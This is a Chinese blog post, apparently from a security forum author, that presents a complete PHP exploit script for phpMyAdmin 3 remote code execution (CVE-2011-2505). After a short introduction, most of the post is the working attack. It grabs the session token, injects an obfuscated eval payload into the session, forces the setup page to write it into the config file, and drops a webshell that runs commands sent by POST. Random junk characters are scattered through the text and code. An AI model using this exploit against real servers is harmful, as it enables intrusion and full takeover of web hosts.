phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
& n' a0 F1 [- ?8 [4 b! Y二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
$ s5 s) r7 k8 F当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
/ T% a7 m2 \$ E1 N) P  O
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
# M2 D5 O( H# }4 `3 j1 E
7 ~7 z5 a( `- D1 z于是写了这个php版本的exp，代码如下：
, h1 G7 u: l( i0 m
#!/usr/bin/php
<?php
8 ^" U8 F' T: ?4 R) {- y. k, @print_r('
; t. Z& E4 X3 w  }( I2 @7 |+---------------------------------------------------------------------------+
% l% d2 v9 z2 u- wpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
/ q7 a: E' x2 \8 vwelcome to www.t00ls.net
: ]% j; A/ a; q0 x) pmail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
: K8 E3 G- A: b  @( X. \, U');
' z% r$ f$ F# f- b; t7 y
6 n9 |8 a9 l: Q, v/**
- u# f0 u: y6 D: U( D * working when the directory:"config" exists and is writeable.
4 K2 X! f9 f9 y! [  L**/

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
5 B6 }( J7 W: k! Z* Z9 pUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
8 o0 \$ L0 ]5 X) V' vpath:      path to pma3
0 R6 m5 C9 F* E  E6 F. N% |  {Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
2 c4 H, H( e5 ~) q+ o" x4 g');
    exit;
}
+ _' `# g# O( H& @' s4 s# J
" t; C8 I9 d+ l3 q7 f0 c' D5 V$host = $argv[1];
$path = $argv[2];
. ]3 C+ i, d  R
& }7 X' w& P  N6 y' m/**
- s' o; Q/ e: g * Try to determine if the directory:"config" exists
. h. a& Z9 {) R) D9 V4 V**/
echo "[+] Try to determine if the directory:config exists....\n";
2 @) ~1 R/ s' z1 c% r  b$returnstr=php_request('config/');
1 \) q5 g2 o! _. S% Kif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

/**
: }1 i) s. S: J/ F+ U# t% h/ s$ \ * Try to get token and sessionid
**/
* T; ^4 M8 x! ?7 W9 `echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
' j8 r* m: D1 N' Y. m' ipreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
+ ~) z/ ?" a. q  a5 ~8 L$token=$resp[3];
$sessionid=$resp[1];
/ A, {9 [! {) q, iif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
' K1 f7 O1 Q7 f    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

' h4 S+ y" N$ y# P/ i/**
* Try to insert shell into session
6 y; m9 j# _0 o: G**/
2 k1 M8 C# |" L$ uecho "[+] Try to insert shell into session....\n";
+ @; P! `" w( K, fphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
' X1 ^/ r; h4 c  c$ l * Try to create webshell
5 ^$ i7 p; B! z! T**/
echo "[+] Try to create webshell....\n";
! @% d( f% M( \1 h5 O5 E4 cphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
5 @6 o3 a8 F2 u, h, h! I8 R/**
* Try to check if the webshell was created successfully
! `! y, {4 _& K1 _**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
" U' g& b5 ^% M# iif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
: A# s+ Y8 Z; Y: c  w: {% Q# ~    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
    global  $host, $path;
7 R7 Z+ h) f" q( ~   
    $method=$data?'POST':'GET';
, H: R; S; V# H5 x$ Q( }1 ~9 v3 l   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
0 \! u) K  `1 f& M, \+ m' |    $packet .= "Accept: */*\r\n";
2 g5 f+ l4 s' e, M& e    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
3 B2 i3 I8 S' l. X- l, Q' A1 S: G    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
; f8 I; w+ x5 Y: Y    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
) {* [3 [% u1 H) x1 `' {
    $fp = fsockopen(gethostbyname($host), 80);
( ^: p- }, ~; e    if (!$fp) {
    echo 'No response from '.$host; die;
) A) Z! J2 [1 Q& ^9 i5 V% Q& a    }
    fputs($fp, $packet);

' V; ~( X" w: }1 ]4 ~  t: F    $resp = '';

+ b% ^2 \$ n: U7 X; o: @; q    while ($fp && !feof($fp))
, [% E& ~' f) R  D7 Q5 \        $resp .= fread($fp, 1024);
, ^  x2 y3 }. h8 F
4 ?1 h0 |1 V  n; u    return $resp;
}
   
?>
.